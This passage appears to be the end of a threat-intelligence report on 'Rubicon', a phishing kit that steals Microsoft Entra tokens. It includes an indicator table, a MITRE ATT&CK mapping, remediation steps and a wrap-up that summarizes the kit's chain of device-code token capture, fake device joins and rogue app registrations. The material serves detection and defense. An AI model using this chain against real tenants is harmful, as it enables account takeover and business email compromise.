| `04b07795-8ddb-461a-b5fe-4bb1c2d7c7f3` | AppId | Azure CLI string shipped in `azure_config.py`. Microsoft's Azure CLI ID is `04b07795-8ddb-461a-bbee-02f9e1bf7b46` — the fourth and fifth GUID segments differ (the kit has `b5fe` / `4bb1c2d7c7f3` where Microsoft has `bbee` / `02f9e1bf7b46`). Present in the build as a source-code indicator; it does not establish a registered application or working authentication. Ownership unverified. |
| `0ad3dd79-18da-4640-be70-513b7a8abdf1` | AppId | Hardcoded `client_id` in the stealth-link authorize URL builder. Present in the build as a source-code indicator only — it does not establish a registered application or working authentication. Ownership unverified. |
| `33a2272d-c052-4d2c-8c1f-106c7150ee8f` | AppId | Labelled 'browser' in `azure_config.py` (delegated RT refresh). Present in the build as a source-code indicator only. Ownership unverified. |
| `http.favicon.hash:703269515` | Favicon | `/static/img/rubicon-favicon.png` — the Shodan pivot that found the cluster. |
| title `"Rubicon — Sign in"` / `"Rubicon — Set Up PIN"` | HTML title | PIN gate and first-run PIN setup pages. |
| `QXB_SECRET_KEY` | Env var | Read by `run.py` in both builds, alongside `/opt/qxb` paths, `QXB Panel` unit description and `/var/log/qxb/`. The `QXB` string is a better pivot than `Rubicon`, which collides with an ad-tech company. |
| `/auth/pin` · `/auth/pin/setup` · `/auth/status` | Path | Operator PIN gate, first-run setup, license/status badge. |
| `/rq{token}` | Path | Public lure path. Token resolves a phishlet; optional captcha then `custom_html` / template render. |
| `/microsoft/device-code/start` · `/microsoft/device-code/check/<id>` | API | Device-code start + poll status. |
| `/auth/ms/relay` | Path | Panel-side OAuth callback relay; `state` = base64url destination. |
| `/redirect-builder/*` | API prefix | Org Takeover + stealth-link builder. |
| `/logmanager/*` · `/prt/*` · `/app-access/*` · `/boxtob/*` · `/keyword/*` · `/vault/*` | API prefixes | Log Manager, PRT Devices, Mailboxes, Inbox Sender, Keyword Listener, Vault. |
| `/landing-pages/` · `/mx/` · `/o/` · `/benign` | Path | Public lure / deploy / benign helper paths. |
| `static/js/dashboard.js` · `lp.js` · `prt_devices.js` · `realtime.js` · `redirect_builder.js` · `btb.js` | Static JS | Distinctive operator-panel script names. |
| `Rubicon-<domain>-<hex>` | App displayName pattern | Rogue app registrations created by Org Takeover. |
| Interserver AS19318 | ASN | Every Rubicon panel in the set we found sat on Interserver VPSes. |

MITRE ATT&CK mapping (observed behaviour):

| Tactic | ID | Technique | In Rubicon |
| --- | --- | --- | --- |
| Initial Access | T1566.002 | Phishing: Spearphishing Link | Lure /rq pages, loader attachments, stealth authorize URLs |
| Credential Access | T1528 | Steal Application Access Token | OAuth device-code capture of access + refresh tokens |
| Defense Evasion | T1550.001 | Use Alternate Authentication Material: Application Access Token | Reuse of stolen tokens / FOCI-swapped mail tokens |
| Persistence | T1098.001 | Account Manipulation: Additional Cloud Credentials | Rogue app registration + client secret (Rubicon-\*) |
| Persistence | T1098.005 | Account Manipulation: Device Registration | PRT / fake device join via Broker path |
| Collection | T1114 | Email Collection | Mailboxes viewer, Inbox Sender extract, Keyword Listener |
| Lateral Movement | T1078.004 | Valid Accounts: Cloud Accounts | Org Takeover Login All across tenant mailboxes |

## Remediation

Password reset alone will not save you. Align with Microsoft's device-code guidance:

1. Revoke sessions and refresh tokens for affected users (revokeSignInSessions / invalidate refresh tokens). Assume every token the kit stored is live until proven otherwise.
2. Disable or delete the rogue registered devices Entra grew during the incident. Treat unknown device joins that follow a device-code grant as hostile, not as a user mistake.
3. Find and remove rogue app registrations and their service principals. Hunt displayName prefixes like Rubicon-*, review application permissions (Mail.* / Directory.Read.All / User.Read.All), delete client secrets, revoke admin consents / appRoleAssignments.
4. Rotate credentials for impacted users and for any apps that were touched. Don't stop at the phished mailbox — Org Takeover may have minted tokens for the rest of the tenant.
5. Conditional Access: block device code flow (Authentication flows condition).
6. Tighten who can create app registrations and, more importantly, who can grant them Graph application permissions. A compromised Global Administrator or Privileged Role Administrator, together with the necessary calling-client permissions, can let the kit grant its app Microsoft Graph application permissions, which is how Rubicon-\* apps end up born fully consented. Application and Cloud Application Administrators can create the app but can't finish the role assignment themselves. Review the role assignments that allow app-role granting at all.
7. Review mailbox rules, forwarding, and sent items for BEC follow-on. Keyword Listener exists specifically so operators can watch for invoices and wires in near real time — assume they did.
8. If you find a live Rubicon panel aimed at you: take the lure paths and Worker relay as IOCs, not as something to poke. Report hosting / Cloudflare as appropriate; don't test the PIN on infrastructure that isn't yours.

## Wrap-up

Device-code flow has been documented as an abuse path for years. Broker → PRT → FOCI mail swap is a known chain. Rogue app registrations with Mail.ReadWrite application roles are a known persistence move. What Rubicon does is package all of that into a PIN-gated gunicorn app with dozens of lure skins, a Cloudflare deploy button, Telegram on every catch, Keyword Listener on a timer, and a big friendly Login All.

Thanks!
